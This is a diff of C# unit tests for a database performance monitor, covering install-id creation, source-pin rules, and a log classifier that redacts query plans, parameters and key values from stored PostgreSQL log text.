+        Assert.Equal(0, logger.CountAtLevel(LogLevel.Warning));
+        var row = await ReadRowAsync(owner, ct);
+        Assert.Equal(id, row.InstallId);
+        Assert.Null(row.SystemIdentifier);
+        Assert.Equal(major, await StoredMajorAsync(owner, ct));
+
+        var written = await RowVersionAsync(owner, ct);
+        Assert.Equal(id, await StoreInstallId.EnsureAsync(login, new CapturingTestLogger(), ct));
+        Assert.Equal(written, await RowVersionAsync(owner, ct));
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task Ensure_WhenTheClusterIdIsRefused_ADifferentDatabaseOid_MakesANewId_AndLogsOneWarningNamingBothIds(bool firstStartReadTheClusterId)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var owner = await OwnerAsync(ct);
+        await using var login = await OpenAsync(_store.LoginConnectionString!, ct);
+
+        if (!firstStartReadTheClusterId)
+        {
+            await RefuseClusterIdAsync(owner, ct);
+        }
+
+        var oldId = await StoreInstallId.EnsureAsync(login, new CapturingTestLogger(), ct);
+        await RefuseClusterIdAsync(owner, ct);
+        await ExecAsync(owner, $"UPDATE {Table} SET database_oid = database_oid + 1", ct);
+
+        var logger = new CapturingTestLogger();
+        var newId = await StoreInstallId.EnsureAsync(login, logger, ct);
+
+        Assert.True(InstallId.IsValid(newId));
+        Assert.NotEqual(oldId, newId);
+        var warning = Assert.Single(logger.Lines, l => l.StartsWith("Warning:", StringComparison.Ordinal));
+        Assert.Contains(oldId, warning, StringComparison.Ordinal);
+        Assert.Contains(newId, warning, StringComparison.Ordinal);
+
+        var row = await ReadRowAsync(owner, ct);
+        Assert.Equal(newId, row.InstallId);
+        Assert.Null(row.SystemIdentifier);
+        Assert.Equal(await DatabaseOidAsync(owner, ct), row.DatabaseOid);
+
+        /* The next start is an ordinary one: same id, no second warning. */
+        var after = new CapturingTestLogger();
+        Assert.Equal(newId, await StoreInstallId.EnsureAsync(login, after, ct));
+        Assert.Equal(0, after.CountAtLevel(LogLevel.Warning));
+    }
+
+    /// <summary>Only a refusal (permission denied) falls back. A read that fails for any other reason is a store that
+    /// is not answering as it should, so the start fails and its retry takes over, as it does for a failed migration.
+    /// Guards against a fallback written as a catch of every database error.</summary>
+    [Fact]
+    public async Task Ensure_AFailureOfTheClusterIdReadOtherThanARefusal_IsNotSwallowed_AndNothingIsStored()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var owner = await OwnerAsync(ct);
+        await using var login = await OpenAsync(_store.FailingFunctionConnectionString!, ct);
+
+        var logger = new CapturingTestLogger();
+        var ex = await Assert.ThrowsAsync<PostgresException>(() => StoreInstallId.EnsureAsync(login, logger, ct));
+
+        Assert.Equal("55000", ex.SqlState);
+        Assert.Equal(0L, await ScalarAsync<long>(owner, $"SELECT count(*) FROM {Table}", ct));
+        Assert.DoesNotContain(logger.Lines, IsTheDatabaseAloneLine);
+    }
+}
diff --git a/Darling/Darling.Tests/StoreInstallIdSourcePinTests.cs b/Darling/Darling.Tests/StoreInstallIdSourcePinTests.cs
new file mode 100644
index 0000000000..db1d957f25
--- /dev/null
+++ b/Darling/Darling.Tests/StoreInstallIdSourcePinTests.cs
@@ -0,0 +1,127 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Source pins for who may make the install id's row (#4961). The service makes it once at start, after the store's
+/// migrations and before any worker runs; the CLI and the Viewer only read it. A reader that quietly inserted would
+/// make an id for a store nobody started, and two makers racing is what the row's one-row CHECK and the make's
+/// race-safe update exist to survive, not to invite.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class StoreInstallIdSourcePinTests
+{
+    private static readonly string[] ProductProjects =
+    {
+        "PerformanceMonitor.Darling.Service",
+        "PerformanceMonitor.Darling.Viewer",
+        "PerformanceMonitor.Darling.Storage",
+        "PerformanceMonitor.Darling.Analysis",
+    };
+
+    private static IEnumerable<string> ProductSourceFiles() =>
+        ProductProjects
+            .SelectMany(project => Directory.EnumerateFiles(Path.Combine(RepoFile.Root, "Darling", project), "*.cs", SearchOption.AllDirectories))
+            .Where(path => !path.Contains(Path.DirectorySeparatorChar + "obj" + Path.DirectorySeparatorChar, StringComparison.Ordinal)
+                && !path.Contains(Path.DirectorySeparatorChar + "bin" + Path.DirectorySeparatorChar, StringComparison.Ordinal));
+
+    [Fact]
+    public void OnlyTheServiceWorkerCallsTheEnsure_SoTheCliAndTheViewerNeverMakeTheRow()
+    {
+        var callers = ProductSourceFiles()
+            .Where(path => CSharpSourceWalker.StripCommentsAndStrings(File.ReadAllText(path))
+                .Contains("StoreInstallId.EnsureAsync(", StringComparison.Ordinal))
+            .Select(Path.GetFileName)
+            .ToList();
+
+        Assert.Equal(new[] { "DarlingWorker.cs" }, callers);
+
+        /* The two readers, named, so a failure says which surface broke the rule. */
+        var viewerCallers = Directory.EnumerateFiles(Path.Combine(RepoFile.Root, "Darling", "PerformanceMonitor.Darling.Viewer"), "*.cs", SearchOption.AllDirectories)
+            .Where(path => File.ReadAllText(path).Contains("StoreInstallId.EnsureAsync", StringComparison.Ordinal))
+            .ToList();
+        Assert.Empty(viewerCallers);
+
+        foreach (var cliFile in new[] { "DarlingCliCommands.cs", "Program.cs" })
+        {
+            var cli = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", cliFile);
+            Assert.DoesNotContain("StoreInstallId.EnsureAsync", cli, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void TheReadPathIsASelect_AndItsMethodsReferenceNoWriteStatement()
+    {
+        var sql = StoreInstallId.ReadSql.TrimStart();
+        Assert.StartsWith("SELECT", sql, StringComparison.OrdinalIgnoreCase);
+        foreach (var verb in new[] { "INSERT", "UPDATE", "DELETE", "TRUNCATE", "DROP", "ALTER", "CREATE", "GRANT" })
+        {
+            Assert.DoesNotContain(verb, sql, StringComparison.OrdinalIgnoreCase);
+        }
+
+        var code = CSharpSourceWalker.StripCommentsAndStrings(
+            RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "StoreInstallId.cs"));
+        var searchFrom = 0;
+        var readers = 0;
+        while (true)
+        {
+            var at = code.IndexOf("TryReadAsync(", searchFrom, StringComparison.Ordinal);
+            if (at < 0)
+            {
+                break;
+            }
+
+            var open = code.IndexOf('{', at);
+            var semicolon = code.IndexOf(';', at);
+            searchFrom = at + 1;
+            if (open < 0 || (semicolon >= 0 && semicolon < open))
+            {
+                continue;   // an expression-bodied member or a call: the declarations with a block are the ones to read
+            }
+
+            var body = CSharpSourceWalker.BraceBalanced(code, open);
+            readers++;
+            foreach (var write in new[] { "InsertSql", "ReplaceSql", "ExecuteNonQueryAsync", "EnsureAsync" })
+            {
+                Assert.DoesNotContain(write, body, StringComparison.Ordinal);
+            }
+        }
+
+        Assert.True(readers > 0, "no TryReadAsync body was found to pin");
+    }
+
+    [Fact]
+    public void TheWorkerMakesTheIdAfterTheMigrationsAndBeforeTheWorkers_AndKeepsIt()
+    {
+        var worker = CSharpSourceWalker.StripCommentsAndStrings(
+            RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs"));
+
+        var migrate = worker.IndexOf("PgMigrations.MigrateAsync(migrateConnection", StringComparison.Ordinal);
+        var ensure = worker.IndexOf("StoreInstallId.EnsureAsync(", StringComparison.Ordinal);
+        Assert.True(migrate >= 0, "the worker no longer migrates the store at start, so this pin is comparing against nothing");
+        Assert.True(ensure > migrate, "the install id is made after the store's migrations, never before them");
+
+        /* Inside the startup retry's try, before its `break`: a failure to make the id is retried and triaged like a
+           failed migration, and no worker has started by then. */
+        var leave = worker.IndexOf("break;", migrate, StringComparison.Ordinal);
+        Assert.True(leave > ensure, "the install id is made inside the startup retry's try, before the loop is left");
+        var catches = worker.IndexOf("catch (", migrate, StringComparison.Ordinal);
+        Assert.True(catches > ensure, "the make sits in the same try as the migration");
+
+        Assert.Contains("_installId =", worker, StringComparison.Ordinal);
+        Assert.Contains("internal string? CurrentInstallId", worker, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/StoreIsOnThisMachineTests.cs b/Darling/Darling.Tests/StoreIsOnThisMachineTests.cs
index 24b8379d4d..6e3896c79b 100644
--- a/Darling/Darling.Tests/StoreIsOnThisMachineTests.cs
+++ b/Darling/Darling.Tests/StoreIsOnThisMachineTests.cs
@@ -129,37 +129,16 @@ public void AParseableHostWinsOverTrailingJunk()
     }
 
     /// <summary>
-    /// The dialog surfaces the machine-bound-secret hint for the two secret-bearing modes — SQL auth and (as of
-    /// #3484) a service principal — on a non-local store, and CLEARS its own message when the mode changes away,
-    /// the same self-clearing discipline the interactive-Entra arm uses, which stops a stale hint sitting under
-    /// an unrelated auth mode.
-    ///
-    /// <para>Pinned at the source: the alternative is standing up a WPF dialog with a live store.</para>
-    /// </summary>
-    [Fact]
-    public void TheDialogShowsTheHintForSecretBearingModesOnANonLocalStore()
-    {
-        var source = ReadDialogSource();
-
-        Assert.Contains("SqlAuthRadio.IsChecked == true || ServicePrincipalAuthRadio.IsChecked == true", source, StringComparison.Ordinal);
-        Assert.Contains("_dataService is { StoreIsOnThisMachine: false }", source, StringComparison.Ordinal);
-        Assert.Contains("StatusText.Text = SqlCredentialMachineBoundHint;", source, StringComparison.Ordinal);
-        /* Self-clearing, exactly like the interactive-Entra message above it. */
-        Assert.Contains("else if (StatusText.Text == SqlCredentialMachineBoundHint)", source, StringComparison.Ordinal);
-    }
-
-    /// <summary>
-    /// The hint has to be actionable, not just alarming: it names all three ways to produce a credential the
-    /// service can use, which is what turns it from a warning into an instruction.
+    /// A password is sealed to the service's published key (#5366), so it can be saved from a viewer on any machine: the
+    /// dialog no longer warns that a secret is readable only on the machine that wrote it.
     /// </summary>
     [Fact]
-    public void TheHintNamesEveryWayToProduceAUsableCredential()
+    public void TheDialogDoesNotWarnThatASecretIsBoundToThisMachine()
     {
         var source = ReadDialogSource();
 
-        Assert.Contains("viewer on the service's host", source, StringComparison.Ordinal);
-        Assert.Contains("--add-server", source, StringComparison.Ordinal);
-        Assert.Contains("env:/file:", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("SqlCredentialMachineBoundHint", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("StoreIsOnThisMachine", source, StringComparison.Ordinal);
     }
 
     private static string ReadDialogSource([CallerFilePath] string thisFile = "")
diff --git a/Darling/Darling.Tests/StoreLogClassifierTests.cs b/Darling/Darling.Tests/StoreLogClassifierTests.cs
index 95f580cb4d..9a2e925f2d 100644
--- a/Darling/Darling.Tests/StoreLogClassifierTests.cs
+++ b/Darling/Darling.Tests/StoreLogClassifierTests.cs
@@ -123,6 +123,16 @@ not an administrator command. The floor rule names the whole administrative phra
         "\tSELECT DISTINCT ON (server_id) server_id",
         "\tFROM v_cpu_utilization_stats",
 
+        /* slow_plan (#5097) - an auto_explain JSON plan under the same duration rule. */
+        "2026-09-05 14:07:20.500 UTC [5336] LOG:  duration: 11000.100 ms  plan:",
+        "\t{",
+        "\t  \"Query Text\": \"SELECT 1 WHERE x = 'FixtureLeak'\",",
+        "\t  \"Plan\": {",
+        "\t    \"Node Type\": \"Seq Scan\",",
+        "\t    \"Relation Name\": \"t\"",
+        "\t  }",
+        "\t}",
+
         /* lock_timeout, under the MANAGED prefix - proving the classifier does not care which family. */
         "2026-09-05 14:07:30 UTC:192.0.2.10(52345):app_user@app_db:[5334]:ERROR:  canceling statement due to lock timeout",
 
@@ -256,7 +266,9 @@ public void EveryRetainedClass_KeepsItsProseAsWritten_AndNormalizesItsSql()
         var duplicate = retained.Single(g => g.MessageText!.StartsWith("duplicate key", StringComparison.Ordinal));
         Assert.Equal("duplicate key value violates unique constraint \"?\"", duplicate.MessageText);
         Assert.Contains("ERROR:  duplicate key value violates unique constraint \"t_pkey\"", duplicate.SampleLine, StringComparison.Ordinal);
-        Assert.Contains("DETAIL:  Key (id)=(Kept3944c) already exists.", duplicate.SampleLine, StringComparison.Ordinal);
+        /* The key value is withheld from the stored text (#5452): the constraint and the column stay, the stored value does not. */
+        Assert.Contains("DETAIL:  Key (id)=(...) already exists.", duplicate.SampleLine, StringComparison.Ordinal);
+        Assert.DoesNotContain("Kept3944c", duplicate.SampleLine, StringComparison.Ordinal);
         Assert.Contains("STATEMENT:  INSERT INTO t VALUES ('?')", duplicate.SampleLine, StringComparison.Ordinal);
         Assert.Contains(
             "DETAIL:  Process 5360 waits for ShareLock on transaction 809; blocked by process 5361.",
@@ -861,11 +873,12 @@ public void RepeatsOfOneSlowStatement_GroupIntoOneRow_WhateverTheirDurations()
 
     /// <summary>
     /// A duration line that names no statement is not a slow statement this class can name: <c>log_duration</c>'s
-    /// bare line, and auto_explain's plan, whose <c>Query Text</c> is the statement VERBATIM. Both are counted as
-    /// routine and keep no text.
+    /// bare line is counted as routine and keeps no text. auto_explain's plan, whose <c>Query Text</c> is the
+    /// statement VERBATIM, is no longer routine (#5097): a plan in text format cannot be redacted, so it is kept
+    /// as its head alone, with the plan withheld.
     /// </summary>
     [Fact]
-    public void ADurationLineWithNoStatement_IsRoutine_AndKeepsNoText()
+    public void ADurationLineWithNoStatement_IsRoutine_AndATextPlanIsKeptAsItsHeadOnly()
     {
         var census = StoreLogClassifier.Classify(string.Join("\n",
         [
@@ -876,11 +889,244 @@ public void ADurationLineWithNoStatement_IsRoutine_AndKeepsNoText()
             "",
         ]));
 
-        var only = Assert.Single(census.Groups);
-        Assert.Equal(StoreLogClassifier.RoutineClass, only.EventClass);
-        Assert.Equal(2, only.Occurrences);
-        Assert.Null(only.MessageText);
-        Assert.Null(only.SampleLine);
+        var routine = Assert.Single(census.Groups, g => g.EventClass == StoreLogClassifier.RoutineClass);
+        Assert.Equal(1, routine.Occurrences);
+        Assert.Null(routine.MessageText);
+        Assert.Null(routine.SampleLine);
+
+        var plan = Assert.Single(census.Groups, g => g.EventClass == StoreLogClassifier.SlowPlanClass);
+        Assert.Equal(StoreLogClassifier.WithheldPlanMessage, plan.MessageText);
+        Assert.Equal(
+            DefaultPrefix + "LOG:  duration: 8123.001 ms  plan:\n\t" + PgLogTextRedactor.WithheldPlan,
+            plan.SampleLine);
+        Assert.DoesNotContain("Secret3904f", plan.SampleLine, StringComparison.Ordinal);
+    }
+
+    /* A PostgreSQL 16+ auto_explain JSON report, as the log writes it: the brackets EXPLAIN adds are stripped,
+       so the root is an object, and every line of it is tab-led under the duration line. The planted values are
+       distinct literals, one in each place a value can ride. */
+    private static string[] JsonPlanEntry(string duration, string parameter, string literal, long? queryId = 4242)
+    {
+        var json = new[]
+        {
+            "{",
+            "  \"Query Text\": \"SELECT * FROM orders WHERE code = '" + literal + "' AND id = $1\",",
+            "  \"Query Parameters\": \"$1 = '" + parameter + "'\",",
+            "  \"Plan\": {",
+            "    \"Node Type\": \"Index Scan\",",
+            "    \"Relation Name\": \"orders\",",
+            "    \"Alias\": \"orders\",",
+            "    \"Index Cond\": \"(orders.id = " + (parameter.Length + 770001) + ")\",",
+            "    \"Filter\": \"((orders.code)::text = '" + literal + "'::text)\"",
+            "  }" + (queryId is null ? string.Empty : ","),
+        }.ToList();
+        if (queryId is not null)
+        {
+            json.Add("  \"Query Identifier\": " + queryId);
+        }
+
+        json.Add("}");
+        return [DefaultPrefix + "LOG:  duration: " + duration + " ms  plan:", .. json.Select(l => "\t" + l)];
+    }
+
+    /// <summary>
+    /// #5097: an auto_explain JSON plan is KEPT as <c>slow_plan</c>, as the redacted JSON the monitored-target plan
+    /// route stores. Every planted value is asserted absent by its exact string, in the message and in the sample,
+    /// and the sample is asserted to BE the compact redacted JSON, so a classifier that stored the raw text (or that
+    /// dropped the redaction) fails here.
+    /// </summary>
+    [Fact]
+    public void AJsonPlan_IsKeptAsSlowPlan_WithNoStatementTextAndNoValue()
+    {
+        var census = StoreLogClassifier.Classify(string.Join("\n", JsonPlanEntry("12345.678", "BindLeak5097a", "LitLeak5097b")) + "\n");
+
+        var plan = Assert.Single(census.Groups);
+        Assert.Equal(StoreLogClassifier.SlowPlanClass, plan.EventClass);
+        Assert.Equal("LOG", plan.Severity);
+        Assert.StartsWith("plan ", plan.MessageText, StringComparison.Ordinal);
+        Assert.EndsWith(" Index Scan queryid=4242", plan.MessageText, StringComparison.Ordinal);
+
+        foreach (var planted in new[] { "BindLeak5097a", "LitLeak5097b", "Query Text", "Query Parameters", "770014", "SELECT * FROM orders" })
+        {
+            Assert.DoesNotContain(planted, plan.MessageText, StringComparison.Ordinal);
+            Assert.DoesNotContain(planted, plan.SampleLine, StringComparison.Ordinal);
+        }
+
+        var firstLine = DefaultPrefix + "LOG:  duration: 12345.678 ms  plan:";
+        var parsed = PgPlanLogParser.FromBlock(0, 0, "{\"Plan\":{\"Node Type\":\"Index Scan\",\"Relation Name\":\"orders\",\"Alias\":\"orders\",\"Index Cond\":\"(orders.id = 770014)\",\"Filter\":\"((orders.code)::text = 'LitLeak5097b'::text)\"},\"Query Identifier\":4242}");
+        Assert.NotNull(parsed);
+        Assert.Equal(firstLine + "\n\t" + parsed!.Value.PlanJson, plan.SampleLine);
+        Assert.Equal("plan " + parsed.Value.PlanHash + " Index Scan queryid=4242", plan.MessageText);
+        Assert.Contains("(orders.id = ?)", plan.SampleLine, StringComparison.Ordinal);
+        /* System.Text.Json writes the apostrophe as \u0027, the same bytes the plan route stores. */
+        Assert.Contains("\\u0027?\\u0027::text", plan.SampleLine, StringComparison.Ordinal);
+    }
+
+    /// <summary>One plan shape is one row however often it ran and whatever it ran with (the parameter value no longer
+    /// splits the hash, #5103); a different shape is another row; a plan with no query identifier says <c>?</c>.</summary>
+    [Fact]
+    public void TwoRunsOfOnePlanShape_AreOneRow_AndAnotherShapeIsAnother()
+    {
+        var census = StoreLogClassifier.Classify(string.Join("\n",
+            JsonPlanEntry("11000.1", "ParamOneA", "LitOneA")
+                .Concat(JsonPlanEntry("19000.9", "ParamTwoB", "LitTwoB"))
+                .Concat(JsonPlanEntry("15000.5", "ParamThreeC", "LitThreeC", queryId: null))) + "\n");
+
+        var plans = census.Groups.Where(g => g.EventClass == StoreLogClassifier.SlowPlanClass).ToList();
+        Assert.Equal(2, plans.Count);
+        var withId = Assert.Single(plans, g => g.MessageText!.EndsWith("queryid=4242", StringComparison.Ordinal));
+        Assert.Equal(2, withId.Occurrences);
+        var withoutId = Assert.Single(plans, g => g.MessageText!.EndsWith("queryid=?", StringComparison.Ordinal));
+        Assert.Equal(1, withoutId.Occurrences);
+        foreach (var planted in new[] { "ParamOneA", "ParamTwoB", "ParamThreeC", "LitOneA", "LitTwoB", "LitThreeC" })
+        {
+            Assert.DoesNotContain(planted, string.Concat(plans.Select(p => p.MessageText + p.SampleLine)), StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>#5114: two runs of one plan whose estimates and runtime counters differ are one row, and the kept sample
+    /// still carries a capture's own estimates.</summary>
+    [Fact]
+    public void TwoRunsOfOneShape_WithDifferentEstimates_AreOneRow()
+    {
+        static string[] Entry(string duration, string cost, string rows) =>
+        [
+            DefaultPrefix + "LOG:  duration: " + duration + " ms  plan:",
+            "\t{\"Plan\":{\"Node Type\":\"Index Scan\",\"Relation Name\":\"orders\",\"Alias\":\"orders\",\"Total Cost\":" + cost
+                + ",\"Plan Rows\":" + rows + ",\"Actual Rows\":" + rows + ",\"Shared Hit Blocks\":" + rows + "},\"Query Identifier\":4242,\"Execution Time\":" + duration + "}",
+        ];
+
+        var census = StoreLogClassifier.Classify(string.Join("\n", Entry("11000.1", "8.5", "1").Concat(Entry("19000.9", "91234.5", "880000"))) + "\n");
+
+        var plan = Assert.Single(census.Groups, g => g.EventClass == StoreLogClassifier.SlowPlanClass);
+        Assert.Equal(2, plan.Occurrences);
+        Assert.EndsWith(" Index Scan queryid=4242", plan.MessageText, StringComparison.Ordinal);
+        Assert.Contains("\"Total Cost\":", plan.SampleLine, StringComparison.Ordinal);
+    }
+
+    /// <summary>A plan that parsed but is over the sample cap keeps its hash, top node and query id, and a size marker
+    /// in place of the JSON: it still groups, and nothing of it is kept.</summary>
+    [Fact]
+    public void AParsedPlanOverTheCap_KeepsItsKey_AndASizeMarker()
+    {
+        var wide = string.Join(",", Enumerable.Range(0, 900).Select(i => "\"t.column_" + i + "\""));
+        var tooBig = DefaultPrefix + "LOG:  duration: 14000.0 ms  plan:\n\t{\"Plan\": {\"Node Type\": \"Seq Scan\", \"Output\": [" + wide
+            + "]}, \"Query Identifier\": 777, \"Query Text\": \"TooBigLeak5097\"}\n";
+
+        var plan = Assert.Single(StoreLogClassifier.Classify(tooBig).Groups);
+
+        Assert.Equal(StoreLogClassifier.SlowPlanClass, plan.EventClass);
+        Assert.Matches("^plan [0-9A-F]{32} Seq Scan queryid=777$", plan.MessageText);
+        Assert.Contains(StoreLogClassifier.PlanTooLargeMarker, plan.SampleLine, StringComparison.Ordinal);
+        Assert.Matches(@"plan too large to keep: \d+ characters$", plan.SampleLine);
+        Assert.True(plan.SampleLine!.Length <= StoreLogClassifier.MaxSampleLength);
+        foreach (var planted in new[] { "TooBigLeak5097", "Seq Scan", "Query Text", "column_5" })
+        {
+            Assert.DoesNotContain(planted, plan.SampleLine, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>A tab-led body that parses as JSON but breaks an assumption of the reader (a non-string
+    /// <c>Node Type</c>) is withheld and throws nothing.</summary>
+    [Fact]
+    public void APlanBodyThatThrowsInTheReader_IsWithheld_NotThrown()
+    {
+        var slab = DefaultPrefix + "LOG:  duration: 15000.0 ms  plan:\n\t{\"Plan\": {\"Node Type\": 1}}\n";
+
+        var plan = Assert.Single(StoreLogClassifier.Classify(slab).Groups);
+
+        Assert.Equal(StoreLogClassifier.WithheldPlanMessage, plan.MessageText);
+        Assert.EndsWith("\n\t" + PgLogTextRedactor.WithheldPlan, plan.SampleLine, StringComparison.Ordinal);
+    }
+
+    /// <summary>A legacy <c>slow_statement</c> row whose sample is a plan head is emptied, as it was before plans were
+    /// kept; it is not relabelled while staying in the slow-statement class.</summary>
+    [Fact]
+    public void ALegacySlowStatementRowHoldingAPlanHead_RemasksToNothing()
+    {
+        var sample = JsonPlanEntry("12345.678", "BindLeak5097c", "LitLeak5097d").Aggregate((a, b) => a + "\n" + b);
+
+        Assert.Equal(
+            ((string?)null, (string?)null),
+            StoreLogClassifier.MaskStoredEvent(StoreLogClassifier.SlowStatementClass, "duration: 12345.678 ms  plan:", sample));
+    }
+
+    /// <summary>A plan that cannot be read whole keeps its head and the withheld marker, and nothing of the plan: JSON
+    /// cut by a read boundary (the slab ends inside it), JSON that is not a plan, and JSON whose redacted form would
+    /// pass the sample cap. Each stays <c>slow_plan</c>, because the first line decides the class.</summary>
+    [Fact]
+    public void APlanThatCannotBeReadWhole_KeepsOnlyItsHead()
+    {
+        var entry = JsonPlanEntry("12000.0", "CutParam5097", "CutLit5097");
+        var cut = string.Join("\n", entry.Take(6)) + "\n";
+        var notAPlan = string.Join("\n",
+        [
+            DefaultPrefix + "LOG:  duration: 13000.0 ms  plan:",
+            "\t{\"Anything\": \"NotAPlanLeak5097\"}",
+            "",
+        ]);
+
+        foreach (var slab in new[] { cut, notAPlan })
+        {
+            var census = StoreLogClassifier.Classify(slab);
+            var plan = Assert.Single(census.Groups);
+            Assert.Equal(StoreLogClassifier.SlowPlanClass, plan.EventClass);
+            Assert.Equal(StoreLogClassifier.WithheldPlanMessage, plan.MessageText);
+            Assert.EndsWith("\n\t" + PgLogTextRedactor.WithheldPlan, plan.SampleLine, StringComparison.Ordinal);
+            foreach (var planted in new[] { "CutParam5097", "CutLit5097", "NotAPlanLeak5097", "Seq Scan", "Query Text" })
+            {
+                Assert.DoesNotContain(planted, plan.SampleLine, StringComparison.Ordinal);
+            }
+        }
+
+        /* A slab whose first line is the tail of an entry the previous read classified opens no entry here. */
+        var orphan = StoreLogClassifier.Classify(string.Join("\n", entry.Skip(1)) + "\n");
+        Assert.Empty(orphan.Groups);
+    }
+
+    /// <summary>A forged label inside a plan is only a string in a tab-led line: it opens no entry, so the plan stays
+    /// one <c>slow_plan</c> row and the forged severity is not read.</summary>
+    [Fact]
+    public void AForgedSeverityInsideAPlan_OpensNoEntry()
+    {
+        var entry = JsonPlanEntry("12000.0", "P", "ERROR:  forged 5097 FATAL:  x");
+        var census = StoreLogClassifier.Classify(string.Join("\n", entry) + "\n");
+
+        Assert.Equal(1, census.EntriesRead);
+        var plan = Assert.Single(census.Groups);
+        Assert.Equal(StoreLogClassifier.SlowPlanClass, plan.EventClass);
+        Assert.DoesNotContain("forged 5097", plan.SampleLine, StringComparison.Ordinal);
+    }
+
+    /// <summary>The remask pass and the read path run <see cref="StoreLogClassifier.MaskStoredEvent"/> over rows already
+    /// stored: a <c>slow_plan</c> row comes back unchanged, one stored with a value in it (a build that kept raw
+    /// text) comes back without it, and a withheld row stays withheld.</summary>
+    [Fact]
+    public void MaskStoredEvent_IsIdempotentOnSlowPlanRows_AndRedactsAnUnredactedOne()
+    {
+        var census = StoreLogClassifier.Classify(string.Join("\n", JsonPlanEntry("12000.0", "IdemParam5097", "IdemLit5097")) + "\n");
+        var plan = Assert.Single(census.Groups);
+
+        var once = StoreLogClassifier.MaskStoredEvent(StoreLogClassifier.SlowPlanClass, plan.MessageText, plan.SampleLine);
+        Assert.Equal((plan.MessageText, plan.SampleLine), once);
+        Assert.Equal(once, StoreLogClassifier.MaskStoredEvent(StoreLogClassifier.SlowPlanClass, once.Message, once.Sample));
+
+        var raw = string.Join("\n", JsonPlanEntry("12000.0", "IdemParam5097", "IdemLit5097"));
+        var remasked = StoreLogClassifier.MaskStoredEvent(StoreLogClassifier.SlowPlanClass, "duration: 12000.0 ms  plan:", raw);
+        Assert.Equal(plan.MessageText, remasked.Message);
+        Assert.DoesNotContain("IdemParam5097", remasked.Sample, StringComparison.Ordinal);
+        Assert.DoesNotContain("IdemLit5097", remasked.Sample, StringComparison.Ordinal);
+
+        var withheld = StoreLogClassifier.Classify(DefaultPrefix + "LOG:  duration: 8000.0 ms  plan:\n\tQuery Text: SELECT 1\n");
+        var kept = Assert.Single(withheld.Groups);
+        Assert.Equal(
+            (kept.MessageText, kept.SampleLine),
+            StoreLogClassifier.MaskStoredEvent(StoreLogClassifier.SlowPlanClass, kept.MessageText, kept.SampleLine));
+
+        /* A slow_plan row whose sample is not a plan head at all keeps no text. */
+        Assert.Equal(
+            (null, null),
+            StoreLogClassifier.MaskStoredEvent(StoreLogClassifier.SlowPlanClass, "x", DefaultPrefix + "LOG:  checkpoint starting: time"));
     }
 
     /// <summary>
@@ -904,7 +1150,7 @@ census is exactly what a broken line split produces. */
         Assert.True(census.EntriesRead > 0, "the fixture produced no entries at all");
         Assert.True(census.Groups.Count > 0, "the fixture produced no groups at all");
 
-        Assert.Equal(14, StoreLogClassifier.ClassNames.Count);
+        Assert.Equal(15, StoreLogClassifier.ClassNames.Count);
 
         var covered = census.Groups.Select(g => g.EventClass).ToHashSet(StringComparer.Ordinal);
         Assert.Equal(
@@ -1616,6 +1862,99 @@ private static SortedSet<string> Fingerprint(StoreLogClassifier.Census census)
         return set;
     }
 
+    [Fact]
+    public void MaskEntry_NamesTheConstraint_AndKeepsTheRowTupleOutOfTheStoredText()
+    {
+        var raw = DefaultPrefix + "ERROR:  null value in column \"name\" of relation \"config_monitored_servers\" violates not-null constraint\n"
+            + DefaultPrefix + "DETAIL:  Failing row contains (1, x, host-1, arn:aws:iam::123456789012:role/r, ext-secret-123, t).\n"
+            + DefaultPrefix + "STATEMENT:  SELECT 1";
+
+        var masked = StoreLogClassifier.MaskEntry(raw);
+
+        Assert.DoesNotContain("ext-secret-123", masked, StringComparison.Ordinal);
+        Assert.DoesNotContain("host-1", masked, StringComparison.Ordinal);
+        Assert.Contains("violates not-null constraint", masked, StringComparison.Ordinal);
+        Assert.Contains("DETAIL:  Failing row contains (...).", masked, StringComparison.Ordinal);
+        Assert.Equal(masked, StoreLogClassifier.MaskEntry(masked));
+    }
+
+    [Theory]
+    [InlineData("Key (name)=(alpha) already exists.", "Key (name)=(...) already exists.")]
+    [InlineData("Key (host, port)=(db-1.example.test, 5432) already exists.", "Key (host, port)=(...) already exists.")]
+    [InlineData("Key (server_id)=(5) is not present in table \"config_monitored_servers\".", "Key (server_id)=(...) is not present in table \"config_monitored_servers\".")]
+    [InlineData("Key (name)=(a) already exists. and more (b) already exists.", "Key (name)=(...) already exists.")]
+    [InlineData("Key (name)=(...) already exists.", "Key (name)=(...) already exists.")]
+    [InlineData("Key (COALESCE(parent_id, 0), lower(name))=(0, prod) already exists.", "Key (COALESCE(parent_id, 0), lower(name))=(...) already exists.")]
+    [InlineData("Key (COALESCE(parent_id, 0), lower(name))=(0, prod", "Key (COALESCE(parent_id, 0), lower(name))=(...)")]
+    [InlineData("Key (COALESCE(parent_id, 0), lower(name))=(...) already exists.", "Key (COALESCE(parent_id, 0), lower(name))=(...) already exists.")]
+    [InlineData("Failing row contains (1, x, host-1).", "Failing row contains (...).")]
+    [InlineData("Partition key of the failing row contains (ts) = (2026-10-07 00:00:00).", "Partition key of the failing row contains (...).")]
+    [InlineData("FAILING ROW CONTAINS (1, x).", "FAILING ROW CONTAINS (...).")]
+    [InlineData("Process 12 waits for ShareLock on transaction 99; blocked by process 13.", "Process 12 waits for ShareLock on transaction 99; blocked by process 13.")]
+    public void MaskRowValues_ReplacesTheKeyValue_AndLeavesOtherProseAlone(string detail, string expected)
+    {
